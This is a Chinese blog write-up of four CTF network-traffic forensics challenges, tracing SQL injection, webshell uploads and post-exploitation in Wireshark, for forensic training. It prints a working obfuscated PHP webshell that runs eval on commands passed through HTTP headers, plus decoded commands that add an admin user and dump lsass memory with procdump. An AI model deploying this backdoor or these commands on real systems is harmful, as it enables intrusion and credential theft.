CTF数据分析题详解

目录

题目一(1.pcap)

题目二(2.pcap)

题目三(3.pcap)

题目四(4.pcap)


CTF流量分析经典例题详解-CSDN博客

本文章涉及的所有题目附件下载地址: 链接:

https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA 提取码:hrc4

声明:这里的例题都是已经总结好的,我只是在本篇中进行学习和复现

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

4.第一个受害主机网站数据库的名字

首先我们使用Wireshark打开这个数据包

注:这个包比较大,打开可能会话费一点时间

打开之后可以看到里面的内容确实是非常的多,因为该题目并不需要找flag,因此也就不需要去使用查找来查找flag了,而且题目中已经给了我们要求

(1)那么看看第一个,寻找受害主机的网卡ip地址

根据后面的问题该包中应该有黑客试试SQL注入的过程,既然是SQL注入那么应该是有使用HTTP协议参与,那么我们试着筛选一下HTTP协议的数据包

可以看到,这里始终是202.1.1.2向192.168.1.8进行GET请求,192.168.1.8对202.1.1.2的请求包做出相应,并且每次GET请求的内容还是不同的,从这些方面可以看出来,攻击者的ip为202.1.1.2受害者的ip地址为192.168.1.8

这里就回答了第一个问题:受害者的网卡ip为:192.168.1.8

(2)第二个问题,黑客对URL的哪一个参数实施了SQL注入

我们再次分析一下这个包,看到下面时,SQL注入已经显现了出来,根据GET后面传输的数据可以看出黑客注入的参数

第二个问题的答案就是:黑客传入的参数为list[select]

(3) 第三个问题,第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

既然需要找受害主机网站数据库的表前缀,那么我们试着对攻击者的注入行为进行一个数据流追踪

现在第三个问题的答案也就出来了:可以清楚的从追踪的HTTP数据流中看到数据的表前缀应该为:ajtuc_

(4)最后一个问题,第一个受害主机网站数据库的名字

现在就剩下最后一个问题了,要找出受害网站数据库的名称,这也很简单的,使用同样的方追踪最后一次SQL注入的数据流,但是好像里面并没有数据库名称,这时因为上面我们选择了一个任意的一个数据包,里面可以还未正在注入出数据库名

注:这里选取的数据包是进行最后一次SQL注入的数据包,因为一次成功的SQL注入,最后一次注入一般都是已经知道数据库名称、数据库中的表名称、表中的字段名称了

其实在下面的HTTP包中我么已经可以看到一个疑似数据库名的了,稳妥起见我们还是将GET传入的参数进行URL解码

可以看到解码后的数据库名就很明显了

因此最后一个问题的答案就是joomla

注:既然题目问的都是第一次的我们可以使用下面的语句来缩小查找范围:

(ip.addr==202.1.1.2 || ip.addr == 192.168.1.8) && http

题目二(2.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客第一次获得的php木马的密码是什么 (POST)

2.黑客第二次上传php木马是什么时间 (POST)

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

首先我们使用Wireshark打开这个数据包

这几个题目之间是有关联的,因此我们已经将攻击者和受害者的ip地址知道了,这里可以直接来筛选以缩小查找范围

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

(1)直接看第一个问题,黑客第一次获得的php木马的密码是什么 (POST)

php木马的密码应该是黑客使用POST传参传递到客户端的一个恶意php文件,首先必须要知道这个文件是哪个,那么我们分析了一下这些数据包发现有个很可疑的文件

点开该文件后,会发现这正是黑客上传的php木马文件,同样可以看到该木马的密码为zzz

因此第一个问题的答案就是zzz

(2)再来看看第二个问题,黑客第二次上传php木马是什么时间 (POST)

第二次上传木马的时间,那么首先我们需要找到第二次上传的木马,分析了一些数据包后

分析这几个包的区别之后发现,这个z2非常可疑,因此对它里面的内容进行了复制,然后使用HXD打开

将文件保存为php,但是代码经过混淆过的,在代码末尾加上下面两句代码

var_dump($j);
var_dump($x);

将该文件上传到kail中,然后运行php进行解混淆,发现这就是木马

由此可确定这个引人注目的包上传了第二个木马 在Wireshark中查看第二个包的上传时间

因此第二题的答案:上传时间为:17:20:44.248365

(3)最后一个问题,第二次上传的木马通过HTTP协议中的哪个头传递数据

我们将上面的目php木马文件代码美化后:

$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr); //这里会分解
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    //一共有三个分组,
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

可以看到

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

这两个参数和HTTP有关

我们再分析一个这个数据包,发现可以看到许多请求footer.php的页面,点开一个查看详情

会发现这里的referer很可疑,而accept-language是正常的因此第三个问题的答案也就呼之欲出了

第二次上传的木马是通过HTTP协议中的referer头

题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

2.php代理第一次被使用时最先连接了哪个IP地址

首先我们使用Wireshark打开这个数据包

(1)可以看到第一个问题问的是mysql的用户名和密码的哈希值

那么我们先来筛选一下mysql服务

tcp contains "mysql" && mysql

通过筛选的结果可以看到,这个数据包中有很多登录请求,并且用户名为admin,第一个问题的答案就出现了一半了,还需要正确的哈希密码,我们可以想一下,只有在输入了正确的用户名和密码后才会登录成功,因此我们打开最后一次登录的请求包

这样就得到了正确的用户名和密码:admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

(2)来看看第二个问题问的啥,php代理第一次被使用时最先连接了哪个IP地址

首先我们还是过滤一下ip地址与协议

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

然后对这些数据包进行分析

 发现了这个比较可疑的数据包,因此它这里有连接的操作,因此第二个问题的答案就出来了,

连接的ip地址为:4.2.2.2

题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

2.黑客在内网主机中添加的用户名和密码是多少

3.黑客从内网服务器中下载下来的文件名

首先我们使用Wireshark打开这个数据包

(1)首先是第一个问题:黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤,源ip地址和目标ip地址我们都是知道的,因此直接筛选缩小范围,然后就是如果黑客需要拿取目标主机中的文件,就会指定dir或者ls命令来列出当前目录中有那些文件,因此我们还需要过滤字符ls和dir

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

筛选的结果很明显可以看出来,黑客确实使用了ls和dir这两个命令

我们可以分别对这两个数据包进行流量追踪,看其是否可以执行成功

 

可以看懂ls命令并没有执行成功

可以看到dir命令是执行成功的,因此我们可以判断出目标主机是windows操作系统的,并且本题的答案也就出来了,也就是这个数据包执行的时间:  2018 18:36:59.770782000 

(2)第二个问题是黑客在内网主机中添加的用户名和密码是多少

根据提示我们可以使用以下命令来查看攻击者如何实施的攻击,也就有可能能从中找到黑客添加的用户名和密码

ip.addr == 192.168.2.20 && http

 从这里可以看到黑客给名为sh.php文件中写入了后门

根据提示我们可以使用以下命令来仅对黑客执行的操作的数据包进行过滤分析

ip.src == 192.168.2.20 && http

在18:50:09.344660时,我们发现可疑操作,我们发现一条可疑数据,判断黑客应该是执行了net user的命令

然后在18:50:42.908737发现黑客再次执行了net user命令 此时回显为:

 

 看来黑客成功添加了管理员用户kaka 确定了大致的作案时间

根据之前的判断,我们可以知道 18:49:27.767754时,不存在kaka用户 18:50:42.908737时,kaka用户已成为管理员 所以可以断定作案时间点在这段时间内

在此期间,一共4个POST请求,我们挨个查看,果不其然,在第一个POST中就发现了问题

Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=

解码后

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

可以明显看到

net user kaka kaka /add

于是可以断定,用户名和密码均为kaka

(3)最后一个问题问黑客从内网服务器中下载了的文件名

最后一题既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

ip.dst == 192.168.2.20 && http.request.method==POST

然后我们在数据包的最后发现如下数据

我们将其进行base64解码后的结果:

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]

可以看到其用了procdump.exe,并且发现了文件

将其解码:

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

 可以看到我们最后一个问题的答案出现了:lsass.exe_180208_185247.dmp

到此。四个数据分析题就演示完毕了(^▽^)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/291606.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安全测试之SSRF请求伪造

前言 SSRF漏洞是一种在未能获取服务器权限时&#xff0c;利用服务器漏洞&#xff0c;由攻击者构造请求&#xff0c;服务器端发起请求的安全漏洞&#xff0c;攻击者可以利用该漏洞诱使服务器端应用程序向攻击者选择的任意域发出HTTP请求。 很多Web应用都提供了从其他的服务器上…

案例074:基于微信小程序的儿童预防接种预约管理系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder …

设计模式——装饰模式(Decorator Pattern)

概述 装饰模式可以在不改变一个对象本身功能的基础上给对象增加额外的新行为&#xff0c;装饰模式是一种用于替代继承的技术&#xff0c;它通过一种无须定义子类的方式来给对象动态增加职责&#xff0c;使用对象之间的关联关系取代类之间的继承关系。在装饰模式中引入了装饰类&…

肿瘤til细胞类型

TISCH (comp-genomics.org)

python学完之后可以做什么,python学完可以做什么

大家好&#xff0c;小编来为大家解答以下问题&#xff0c;python学完可以做哪些工作&#xff0c;python学完之后可以做什么&#xff0c;今天让我们一起来看看吧&#xff01; Python是一种全栈的开发语言&#xff0c;你如果能学好Python&#xff0c;前端&#xff0c;后端&#x…

VM安装虚拟机及初始化操作

一、VM下载及暗转 虚拟机指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统&#xff0c;在实体计算机中能够完成的工作在虚拟机中都能够实现。VMware 是一款功能强大的桌面虚拟计算机软件&#xff0c;提供用户可在单一的桌面上同时运行不同的…

VScode安装ESP开发环境

VScode安装ESP开发环境 ESP-IDF 是乐鑫官方的物联网开发框架&#xff0c;适用于 ESP32、ESP32-S、ESP32-C 和 ESP32-H 系列 SoC。它基于 C/C 语言提供了一个自给自足的 SDK&#xff0c;方便用户在这些平台上开发通用应用程序&#xff0c;并集成了大量的软件组件&#xff0c;包…

手撕Vuex-vuex实现原理分析

本章节主要围绕着手撕 Vuex&#xff0c;那么在手撕之前&#xff0c;先来回顾一下 Vuex 的基本使用。 创建一个 Vuex 项目&#xff0c;我这里采用 vue-cli 创建一个项目&#xff0c;然后安装 Vuex。 vue create vuex-demo 选择 Manually select features。 这里只需要&#xff0…

被低估的流量宝地,如何通过Reddit为Shopify店铺引流?

独立站店铺相对于电商平台来说&#xff0c;有一个运营难点那就是需要自主引流。做好引流&#xff0c;你的Shopify店铺也就成功了一半。Reddit作为国外知名的论坛平台&#xff0c;非常适合作为引流的阵地&#xff0c;许多人对这个网站尚不了解&#xff0c;接下来就为大家介绍如何…

好用免费的WAF---如何安装雷池社区版

什么是雷池​ 雷池&#xff08;SafeLine&#xff09;是长亭科技耗时近 10 年倾情打造的 WAF&#xff0c;核心检测能力由智能语义分析算法驱动。 Slogan: 不让黑客越雷池半步。 什么是 WAF​ WAF 是 Web Application Firewall 的缩写&#xff0c;也被称为 Web 应用防火墙。 …

【AI】LoFTR图像匹配算法源码解析

0.LoFTR简介 Local Feature Transformers &#xff08;LoFTR&#xff09;是一种Detector-free的局部特征匹配方法&#xff0c;使用了具有自注意层和互注意层的Transformer模块来处理从卷积网络中提取的密集局部特征&#xff1a;首先在低特征分辨率&#xff08;图像维度的1/8&a…

JUC AQS(AbstractQueuedSynchronizer)

文章目录 AQS &#xff08;AbstractQueuedSynchronizer^1.5^&#xff09;CLH 锁队列AbstractQueuedSynchronizer 成员变量说明AbstractQueuedSynchronizer.Node 源码CLH 队列原理图入队逻辑方法出队逻辑方法 继承 AQS 需要实现的几个方法AQS 对象序列化ReentrantLock 源码解析R…

系列四、Spring Cloud Alibaba - Nacos

一、Nacos 1.1、官网 https://nacos.io/zh-cn/docs/what-is-nacos.html 二、Nacos作为注册中心 2.1、官网 https://github.com/alibaba/spring-cloud-alibaba/blob/2.2.6.RELEASE/spring-cloud-alibaba-examples/nacos-example/nacos-discovery-example/readme-zh.md 三、 Na…

LeetCode 25. K 个一组翻转链表

K 个一组翻转链表 给你链表的头节点 head &#xff0c;每 k 个节点一组进行翻转&#xff0c;请你返回修改后的链表。 k 是一个正整数&#xff0c;它的值小于或等于链表的长度。如果节点总数不是 k 的整数倍&#xff0c;那么请将最后剩余的节点保持原有顺序。 你不能只是单纯的改…

7.14解数独(LC37-H)

算法&#xff1a; 二维递归&#xff08;递归时需要两层for循环&#xff09; 一个for循环放行 另一个for循环放列 画树&#xff1a; 因为这个树形结构太大了&#xff0c;我抽取一部分&#xff0c;如图所示&#xff1a; 回溯三部曲&#xff1a; 1.确定函数参数和返回值 返…

windows机器上安装mysql

0、mysql下载地址 1、参考文章 2、把Data数据目录迁移到其他盘 2.0 首先停止mysql&#xff08;任务管理器-详细信息-随便找个进程右击进入转入服务&#xff0c;找到MySQL服务&#xff0c;点击停止&#xff09; 2.1 windows的 mysql默认的data目录在C:\ProgramData\MySQL\MySQ…

2024年MySQL学习指南(二),探索MySQL数据库,掌握未来数据管理趋势

文章目录 前言4. DDL- 操作数据库4.1 查询4.2 创建数据库4.3 删除数据库4.4 使用数据库 5. DDL- 操作数据表5.1 数据类型5.2 查询表5.3 创建表5.4 删除表5.5 修改表 6. 实战案例详解 前言 接上一篇文章【2024年MySQL学习指南&#xff08;一&#xff09;】 4. DDL- 操作数据库 …

基于人工智能的数据库工具Chat2DB使用

文章目录 前言Chat2DB介绍Chat2DB地址下载安装 Chat2DB配置Chat2DB使用1、自然语言转sql2. SQL解释3. SQL优化4. SQL转换 写在最后 前言 随着人工智能的发展&#xff0c;各行各业都出现了不少基于AI的工具来提升工作效率。就连国内的各个大厂也都在基于大模型开发自己的产品线…

企业培训系统开发: 技术创新引领学习革新

在现代企业管理中&#xff0c;培训成为推动员工发展和企业创新的核心。随着科技的快速发展&#xff0c;企业培训系统的开发已经成为提高培训效果、降低成本的有效途径。本文将介绍企业培训系统开发的一些关键技术和代码实例&#xff0c;展示如何通过技术创新引领学习革新。 1…

LeetCode 83:删除排序链表中的重复元素

一、题目描述 给定一个已排序的链表的头 head &#xff0c; 删除所有重复的元素&#xff0c;使每个元素只出现一次 。返回 已排序的链表 。 示例 1&#xff1a; 输入&#xff1a;head [1,1,2] 输出&#xff1a;[1,2]示例 2&#xff1a; 输入&#xff1a;head [1,1,2,3,3] 输…